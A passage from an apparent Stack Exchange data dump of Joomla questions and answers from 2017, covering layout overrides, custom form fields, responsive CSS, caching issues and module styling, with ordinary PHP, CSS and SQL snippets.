finds nothing, go to &lt;code&gt;Extensions &amp;gt; Plugins&lt;/code&gt; in the admin and see if there is a plugin doing the redirect.  Unlike Wordpress, Joomla does not do mobile detection out-of-the-box, and so these are the most likely places you will find someone has added a script to add bespoke adaptive elements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find if your site is responsive or adaptive by reducing your browser window.  If a small desktop window shows the mobile version, it is responsive. &lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2017-08-29T22:02:47.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21437" PostTypeId="1" AcceptedAnswerId="21440" CreationDate="2017-08-30T09:01:37.643" Score="1" ViewCount="203" Body="&lt;p&gt;I came across an strange behavior and I am trying to find out if I can solve this by setting the layout to be used via the link to the category.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Here is what happened.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I have a template override for the category blog layout&lt;/li&gt;&#xA;&lt;li&gt;I assigned it through the menu and that works fine&lt;/li&gt;&#xA;&lt;li&gt;The menu type category blog layout using the custom layout override also displays child categories links&lt;/li&gt;&#xA;&lt;li&gt;When I click one of the child categories it doesn't use the custom template override as the parent category, it simply defaults back to the default blog layout&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;So I have being trying something like the below in the custom_children.php (blog_children.php)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&amp;quot;&amp;lt;?php echo JRoute::_(ContentHelperRoute::getCategoryRoute($child-&amp;gt;id).'&amp;amp;layout=customlayout');?&amp;gt;&amp;quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But that doesn't seem to work.&lt;/p&gt;&#xA;&lt;p&gt;The child category does not have a menu item linked to it and given the number of categories we will have thet won't have a menu item for each.&lt;/p&gt;&#xA;&lt;h3&gt;So the questions are:&lt;/h3&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Is it expected that the child category defaults back to the default blog.php?&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is it possible to set the layout override via link?&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;sub&gt;I am testing this on a MAMP with PHP 7.0 and the latest joomla 3.7.5&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="11391" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2017-12-13T17:30:26.677" Title="Joomla set Template Alternative Layout via link, is it possible?" Tags="|joomla-3.x|template-override|category|layout|subcategories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21439" PostTypeId="1" CreationDate="2017-08-30T09:33:18.767" Score="1" ViewCount="432" Body="&lt;p&gt;&lt;strong&gt;Problem&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently working on a form which has to implement a way to create a schedule for a single day. It should use a time for when an event starts, and a description about the events.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The schedule can have varying amount of times/events.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Idea for solution&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So a solution can be to create a row with dual inputs: one with a time input that defines the hour, and one with a text input that describes the event at that hour.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Issue with idea to solution&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that K2 cannot do this natively. It does in fact not even have a time input extra field, let alone a way to link several input together or dynamically adding more rows (that I know of).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Idea to solve issue + question&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way to get around this could be to either find one or more plugins that do this (preferably), or to create my own plugin.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Does anyone know of existing plugins, or of a different way to deal with those problems? &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If not, is there some documentation about creating k2 plugins that can be found somewhere?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I have already downloaded &lt;a href=&quot;https://getk2.org/extend/extensions/90-example-k2-plugin-for-developers&quot; rel=&quot;nofollow noreferrer&quot;&gt;the example plugin&lt;/a&gt; from getK2's website, but it feels very limited for what I need to accomplish.&lt;/p&gt;&#xA;" OwnerUserId="11488" LastEditorUserId="126" LastEditDate="2017-09-09T16:41:16.503" LastActivityDate="2017-09-09T16:41:16.503" Title="How to dynamically add extra input fields in k2 item form" Tags="|joomla-3.x|development|plugin|extensions|k2|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21440" PostTypeId="2" ParentId="21437" CreationDate="2017-08-30T10:51:02.137" Score="0" Body="&lt;p&gt;Likely the given information is not 100% accurate, so I 'll try to clear out a few things and reach to a conclusion.&lt;/p&gt;&#xA;&lt;p&gt;Overrides can be made in many ways, there can be many combinations of configuration settings to deal with them.&lt;/p&gt;&#xA;&lt;h1&gt;Overrides Approaches&lt;/h1&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Layout Override (global):&lt;/strong&gt; for all items for a view - which is to just copy the view tmpl files to the respective folder in template's html folder. Then those files should be loaded instead of the default ones for any categories, disregarding.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Alternative Layouts:&lt;/strong&gt; Similar to the above, but this time we rename the tmpl files and we have to specify on the item level what layout to use.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Alternative Layouts/Menu items&lt;/strong&gt; - Copy and rename/edit also the tmpl xml file, so this layout can be selected/assigned with this new custom menu item.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;From your description, I may assume that you have followed the 3rd option... but please clarify.&lt;/p&gt;&#xA;&lt;p&gt;In this case, the layout will be used only for the category that you have selected with your custom menu item.&lt;/p&gt;&#xA;&lt;p&gt;Trying to &amp;quot;trick&amp;quot; the sub-categories links with the &lt;code&gt;&amp;amp;layout=customlayout&lt;/code&gt; is a fair attempt and would make sense. Actually &lt;code&gt;&amp;amp;layout=template:customlayout&lt;/code&gt; would be closer - but this also won't work.&lt;/p&gt;&#xA;&lt;p&gt;&lt;sub&gt;At some point in the past (a year or so ago), I went deeper with this and had concluded on how it works and why it couldn't work like this, but I don't remember clearly now the reasons why. My overall conclusion was that I had to create my custom MVC for it with various customizations here and there.&#xA;However, since this was long time ago, maybe some things have changed now.&lt;/sub&gt;&lt;/p&gt;&#xA;&lt;p&gt;But in any case with these in mind, it's still possible to achieve what you want and it can be fairly simple. It somewhat depends on your overall setup, but here what you can do:&lt;/p&gt;&#xA;&lt;h2&gt;Your Override Options&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Still assuming you have followed the 3rd option from above, just clone the &lt;code&gt;customlayout.php&lt;/code&gt; inside your overrides folder and rename it to something like &lt;code&gt;customlayoutsubs.php&lt;/code&gt;.&#xA;If needed, create similar overrides for the other tmpl files of that layout. Then in your backend, go to the categories that you want to use this layout, edit them and in their &lt;code&gt;layout option&lt;/code&gt; (under the &lt;code&gt;Options&lt;/code&gt; tab) select this &lt;code&gt;customlayoutsubs.php&lt;/code&gt;. Now the sub categories will use this new layout, that is the same as your customlayout.php alternative menu item.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In case this is only section of a category blog you have in your site, then you don't need an alternative menu-item. Just create your override (first option) and let all categories use that.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In case you just need only some categories to use that layout - create only an alternative layout (not with menu item) and assign that layout to those categories.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h3&gt;Some final thoughts.&lt;/h3&gt;&#xA;&lt;p&gt;I feel the overrides abilities in Joomla do actually need some polishing and improvement. For example, assign to a parent category a layout override and being able to inherit this to its subs through settings, or deeper support on the topic for alternative menu items as described above, would be nice.&lt;/p&gt;&#xA;&lt;p&gt;It would also make sense if there was an option on the menu item level to configure such settings.&lt;/p&gt;&#xA;&lt;p&gt;Even so though and with the confusion all these may produce, there are still plenty of options to achieve great things.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2017-08-30T10:51:02.137" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21441" PostTypeId="1" AcceptedAnswerId="21442" CreationDate="2017-08-30T11:45:52.350" Score="1" ViewCount="426" Body="&lt;p&gt;I am adding a button to pop up a newsletter signup form inside a module. I have a background image set and am looking for a way to ensure the text says on top of the background image regardless of screen size. I've been playing about with the css but am no expert so if anyone could provide any advice on the best way to do this I would be very appreciative.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My CSS is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/** Newsletter sign up styling **/&#xA;.newsletter {&#xA;  background-image: url(/images/nl-bg.png);&#xA;    background-repeat: no-repeat;&#xA;    text-align: center;&#xA;    height: 240px;&#xA;    background-position: center;&#xA;    padding-top: 80px;&#xA;}&#xA;.newsletter h2 {&#xA;  margin-bottom:0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The HTML within the module is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;newsletter&quot;&amp;gt;&amp;lt;p style=&quot;text-align: center;&quot;&amp;gt;To be the first to see exclusive artwork and hear the latest news on Lindsey&amp;amp;rsquo;s writing, sign up to the newsletter.&amp;lt;/p&amp;gt;&#xA;&amp;lt;p style=&quot;text-align: center;&quot;&amp;gt;{source}&amp;amp;lt;script type=&quot;text/javascript&quot; src=&quot;https://static.mailerlite.com/data/webforms/544009/m6o3n5.js?v1&quot;&amp;amp;gt;&amp;amp;lt;/script&amp;amp;gt;{/source}&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With this the background image is not responsive either, I'm guessing because of the height attribute, but without that the background image is cut off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The URL to the page is - Page URL removed&#xA;Thank you in advance for any advice.&lt;/p&gt;&#xA;" OwnerUserId="7973" LastEditorUserId="7973" LastEditDate="2017-09-07T19:00:23.990" LastActivityDate="2017-09-07T19:00:23.990" Title="Keep text within background image in Joomla Module" Tags="|joomla-3.x|css|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21442" PostTypeId="2" ParentId="21441" CreationDate="2017-08-30T12:14:02.307" Score="1" Body="&lt;p&gt;I would setup two variants with media queries.  You will want to play with padding, etc.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So on larger screens, you want the image to fit as large as it can without being distorted (contain) and set the max width to slightly less than the image's width so text doesn't run over.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@media only screen and (min-width: 768px) {&#xA;    .newsletter {background-size: contain;padding: 80px 20px;max-width: 800px;margin: 0 auto;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On smaller screens, just have it set to be 100% width that it can be.  Again, the padding keeps the text from touching the edges.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@media only screen and (max-width: 767px) {&#xA;    .newsletter {background-size: 100%;padding: 80px 20px;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="464" LastEditorUserId="464" LastEditDate="2017-08-30T20:38:28.077" LastActivityDate="2017-08-30T20:38:28.077" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21443" PostTypeId="1" CreationDate="2017-08-30T13:58:12.547" Score="1" ViewCount="24" Body="&lt;p&gt;I've setup my custom component using JToolbarHelper for navigation, following the standard set by base Joomla components.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each view contains some variation of the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JToolbarHelper::title(JText::_('COM_CUSTOMCOMPONENT_MENU'), 'home');&#xA;JToolbarHelper::custom('view.task', 'options', 'options', 'Task', false);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Every &lt;code&gt;view.html.php&lt;/code&gt;'s view extends a custom &lt;code&gt;JView&lt;/code&gt; (&lt;code&gt;customComponentView&lt;/code&gt;) which itself extends &lt;code&gt;JViewLegacy&lt;/code&gt;, so functionally should be identical.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I activate system cache to &lt;code&gt;ON - Conservative caching&lt;/code&gt;, the toolbar renders as completely empty. No title, no buttons, nothing. the only way to have them reappear is to either turn off system cache, modify the code generating the buttons (although this fix only works until the page is changed/refreshed) or setup &lt;code&gt;JToolbarHelper&lt;/code&gt; stuff in &lt;code&gt;customComponentView&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've checked the base components, and all of them are functioning appropriately, displaying the contents of their &lt;code&gt;JToolbarHelper&lt;/code&gt; accordingly.&lt;/p&gt;&#xA;" OwnerUserId="2081" LastEditorUserId="126" LastEditDate="2017-09-09T16:40:28.143" LastActivityDate="2017-09-09T16:40:28.143" Title="JToolbarHelper contents disappearing when cache is enabled" Tags="|joomla-3.x|joomla-api|custom-component|cache|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21444" PostTypeId="2" ParentId="21413" CreationDate="2017-08-30T21:38:13.590" Score="1" Body="&lt;p&gt;This is indeed a issue caused by the Falang Componenet (2.9.1) with Joomla 3.7.3+.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue seems to be a problem with php 5 and the query used by Joomla in assets tables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way of fixing this is to update to php 7.0+ as @Tomasz Malinowski mentioned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However updating to php 7.0+ can cause other errors if your site is not ready for it, as was my case. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you need to keep php 5 (in my case 5.6) then this fix works until a new version of Falang is released with a official fix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;em&gt;.../libraries/joomla/table/asset.php&lt;/em&gt; line 110 replace&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-&amp;gt;select('1')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-&amp;gt;select($this-&amp;gt;_db-&amp;gt;quoteName('id'))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For Joomla 3.8+ the above line to replace is located in &lt;em&gt;...libraries/src/Table/Asset.php&lt;/em&gt; line 99&lt;/p&gt;&#xA;" OwnerUserId="9835" LastEditorUserId="9835" LastEditDate="2018-07-04T09:43:43.990" LastActivityDate="2018-07-04T09:43:43.990" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21445" PostTypeId="1" AcceptedAnswerId="21448" CreationDate="2017-08-31T04:52:53.423" Score="2" ViewCount="626" Body="&lt;p&gt;I was going through this part of the tutorial:&lt;br/&gt;&#xA;&lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Using_the_database&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Using_the_database&lt;/a&gt;&lt;br/&gt;&#xA;Except I tried using my own names instead of 'helloworld'.&#xA;&lt;hr/&gt;&#xA;Everything else works fine, even the site-page loads the text from the&#xA;database. The problem is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;i&gt;On the backend 'Menu Item' options, where there's&#xA;supposed to be a list, it's just showing a blank textbox.&lt;/i&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/FW2k6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FW2k6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;hr/&gt;&#xA;&lt;b&gt;The codes I've used are:&lt;/b&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;site/views/uploadwizard/tmpl/default.xml&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;metadata&amp;gt;&#xA;    &amp;lt;layout title=&quot;COM_OMITTED_UPLOADWIZARD_VIEW_DEFAULT_TITLE&quot;&amp;gt;&#xA;        &amp;lt;message&amp;gt;COM_OMITTED_UPLOADWIZARD_VIEW_DEFAULT_DESC&amp;lt;/message&amp;gt;&#xA;    &amp;lt;/layout&amp;gt;&#xA;&#xA;    &amp;lt;fields&#xA;        name=&quot;request&quot;&#xA;        addfieldpath=&quot;/administrator/components/com_omitted/models/fields&quot;&#xA;        &amp;gt;&#xA;        &amp;lt;fieldset name=&quot;request&quot;&amp;gt;&#xA;            &amp;lt;field&#xA;                name=&quot;id&quot;&#xA;                type=&quot;ulwiz_wmode&quot;&#xA;                label=&quot;COM_OMITTED_UPLOADWIZARD_FIELD_WMODE_LABEL&quot;&#xA;                description=&quot;COM_OMITTED_UPLOADWIZARD_FIELD_WMODE_DESC&quot;&#xA;                /&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/fields&amp;gt;&#xA;&amp;lt;/metadata&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;admin/models/fields/ulwiz_wmode.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('_JEXEC') or die('Restricted access');&#xA;&#xA;JFormHelper::loadFieldClass('list');&#xA;&#xA;class JFormFieldUlWiz_WMode extends JFormFieldList&#xA;{&#xA;    protected function getOptions()&#xA;    {&#xA;        $db    = JFactory::getDBO();&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;        $query-&amp;gt;select('id,wmode');&#xA;        $query-&amp;gt;from('#__omitted_ulwiz_wmode');&#xA;        $db-&amp;gt;setQuery((string) $query);&#xA;        $messages = $db-&amp;gt;loadObjectList();&#xA;        $options  = array();&#xA;&#xA;        if ($messages)&#xA;        {&#xA;            foreach ($messages as $message)&#xA;            {&#xA;                $options[] = JHtml::_('select.option', $message-&amp;gt;id, $message-&amp;gt;wmode);&#xA;            }&#xA;        }&#xA;&#xA;        $options = array_merge(parent::getOptions(), $options);&#xA;&#xA;        return $options;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the Database description:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DROP TABLE IF EXISTS `#__omitted_ulwiz_wmode`;&#xA;&#xA;CREATE TABLE `#__omitted_ulwiz_wmode` (&#xA;    `id`        INT(11)     NOT NULL AUTO_INCREMENT,&#xA;    `wmode`     VARCHAR(25) NOT NULL,&#xA;    `published` tinyint(4)  NOT NULL DEFAULT '1',&#xA;    PRIMARY KEY (`id`)&#xA;)&#xA;&#xA;    ENGINE =MyISAM&#xA;    AUTO_INCREMENT =0&#xA;    DEFAULT CHARSET =utf8;&#xA;&#xA;INSERT INTO `#__omitted_ulwiz_wmode` (`wmode`) VALUES&#xA;('Option1Text'),&#xA;('Option2Text');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr/&gt;&#xA;&#xA;&lt;p&gt;How do I fix this?&#xA;I've been at it for hours and am unable to move over to the next part of the tutorial hence.&lt;/p&gt;&#xA;" OwnerUserId="11490" LastEditorUserId="11490" LastEditDate="2017-08-31T07:11:00.910" LastActivityDate="2017-08-31T12:07:17.407" Title="Documentation tutorial: Why is my JFormFieldList showing a textbox?" Tags="|component|mvc|form-fields-types|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21446" PostTypeId="1" CreationDate="2017-08-31T04:56:52.007" Score="1" ViewCount="67" Body="&lt;p&gt;I am developing a component. At the site part model, inside &lt;code&gt;getItem($pk)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$params = new JRegistry;                                &#xA;$params-&amp;gt;loadString($this-&amp;gt;item-&amp;gt;params, 'JSON');                               &#xA;$this-&amp;gt;item-&amp;gt;params = $params;&#xA;$params =clone $this-&amp;gt;getState('params');   &#xA;$params-&amp;gt;merge($this-&amp;gt;item-&amp;gt;params);&#xA;$this-&amp;gt;item-&amp;gt;params = $params;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;while in &lt;code&gt;populateState&lt;/code&gt; method I created a params variable and got &lt;code&gt;default.xml&lt;/code&gt; params&#xA;in a &lt;code&gt;JRegistry&lt;/code&gt; object and now merge only considers backend params. &#xA;In other words, what I do in menuitem has no effect and changes nothing.&#xA;Kian William&lt;/p&gt;&#xA;" OwnerUserId="9591" LastEditorUserId="126" LastEditDate="2017-08-31T06:27:41.293" LastActivityDate="2017-08-31T10:34:25.437" Title="JRegister::merge does not give correct results" Tags="|joomla-3.x|component|development|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21447" PostTypeId="2" ParentId="21446" CreationDate="2017-08-31T06:34:48.850" Score="1" Body="&lt;p&gt;I solved it, Eureka, when I used &lt;code&gt;getState()&lt;/code&gt; to obtain variable I created in &lt;code&gt;populateState&lt;/code&gt; of model in site part, I had to change it or assign it to a registery object so that merge could work on two registry object.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$params-&amp;gt;loadString($this-getState('params'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;clone()&lt;/code&gt; could not change a string to reg object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;populateState&lt;/code&gt;, I create a Registry obj, but when I assigned it to &lt;code&gt;setState&lt;/code&gt; variable,  it turns back to a string again, it works now&lt;/p&gt;&#xA;" OwnerUserId="9591" LastEditorUserId="126" LastEditDate="2017-08-31T10:34:25.437" LastActivityDate="2017-08-31T10:34:25.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21448" PostTypeId="2" ParentId="21445" CreationDate="2017-08-31T12:07:17.407" Score="3" Body="&lt;p&gt;The problem is that it is not able to get the field. I see filename you have defined as &lt;code&gt;ulwiz_wmode.php&lt;/code&gt; and in class name you are using this &lt;code&gt;JFormFieldUlWiz_WMode&lt;/code&gt;. Make sure the naming convention is very proper and should be same as class name and filename. It should be &lt;code&gt;JFormFieldUlwiz_wmode&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('_JEXEC') or die('Restricted access');&#xA;&#xA;JFormHelper::loadFieldClass('list');&#xA;&#xA;class JFormFieldUlwiz_wmode extends JFormFieldList&#xA;{&#xA;   protected $type = 'ulwiz_wmode'; //also add this line&#xA;&#xA;   protected function getOptions()&#xA;    {&#xA;        //your code&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You are creating your own custom field. For more details on custom fields refer this documentation: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Creating_a_custom_form_field_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Creating_a_custom_form_field_type&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="7632" LastActivityDate="2017-08-31T12:07:17.407" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21449" PostTypeId="1" CreationDate="2017-08-31T13:51:42.857" Score="1" ViewCount="1129" Body="&lt;p&gt;I find this very inconsiderate. For most articles, intro image = full image. Why do users have to do the &quot;assign image&quot; chore twice? Why can't there be a setting to display intro image in the single article page?&lt;/p&gt;&#xA;" OwnerUserId="5680" LastActivityDate="2017-09-01T07:56:59.107" Title="Why is there no way to show intro image in single article page?" Tags="|joomla-3.x|images|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21450" PostTypeId="2" ParentId="21449" CreationDate="2017-08-31T22:48:04.947" Score="2" Body="&lt;p&gt;I don't agree. I never use the same image as intro- and full-text image. If you want to do that, it's very simple to copy/paste from intro- to full-text image, when have picked the into.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if you really wan't not to do that, you can make a very simple override in /html/layouts/joomla/content/intro_image.php - just change image_ with image_fulltext&lt;/p&gt;&#xA;" OwnerUserId="11136" LastActivityDate="2017-08-31T22:48:04.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21451" PostTypeId="2" ParentId="21449" CreationDate="2017-09-01T07:56:59.107" Score="1" Body="&lt;p&gt;Intro-Image can be a Part of Full-Image: as there is a smaller Size for Intro-Image in for Example a Blog-View i prefer to show a Part of used Full-Image.&lt;/p&gt;&#xA;" OwnerUserId="5630" LastActivityDate="2017-09-01T07:56:59.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21452" PostTypeId="2" ParentId="21219" CreationDate="2017-09-01T08:04:35.777" Score="1" Body="&lt;p&gt;In your module, as you have $productModel you can check $productModel-&gt;orderable. Now where ever your products in module are rendered make a check like - &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($productModel-&amp;gt;orderable == false) {&#xA;    //Do not render product&#xA;} else {&#xA;    //Render product&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5688" LastActivityDate="2017-09-01T08:04:35.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21456" PostTypeId="2" ParentId="16017" CreationDate="2017-09-01T15:13:05.673" Score="1" Body="&lt;p&gt;&lt;strong&gt;To get rid of the &quot;moduletable&quot; wrapper just create a module style:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In templates/your_template/html folder create a file named &quot;modules.php&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php    &#xA;    function modChrome_BoHivex($module, &amp;amp;$params, &amp;amp;$attribs) { &#xA;        $module_class_sfx = htmlspecialchars($params-&amp;gt;get('moduleclass_sfx'));&#xA;        ?&amp;gt;&#xA;        &amp;lt;div class=&quot;custom&amp;lt;?php echo $moduleclass_sfx; ?&amp;gt;&quot; &amp;lt;?php if ($params-&amp;gt;get('backgroundimage')) : ?&amp;gt; style=&quot;background-image:url(&amp;lt;?php echo $params-&amp;gt;get('backgroundimage'); ?&amp;gt;)&quot;&amp;lt;?php endif; ?&amp;gt; &amp;gt;&#xA;           &amp;lt;?php echo $module-&amp;gt;content; ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can add more styles by just adding new functions, you can totally customize the output and get rid of the &quot;moduletable&quot; wrapper.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find your styles in your module's backend -&gt; advanced -&gt; module style.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Special hint: It's possible to override com_content pagination in a similar way by adding a pagination.php to the /html folder.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;To get rid of the &quot;custom&quot; wrapper, add an override to templates/your_template/html/mod_custom/your_override.php:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;   defined('_JEXEC') or die;&#xA;&#xA;   echo $module-&amp;gt;content;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's possible to just do an echo output without HTML in the style function and output the html in the override, too.&lt;/p&gt;&#xA;" OwnerUserId="7024" LastEditorUserId="7024" LastEditDate="2017-09-01T15:30:39.430" LastActivityDate="2017-09-01T15:30:39.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
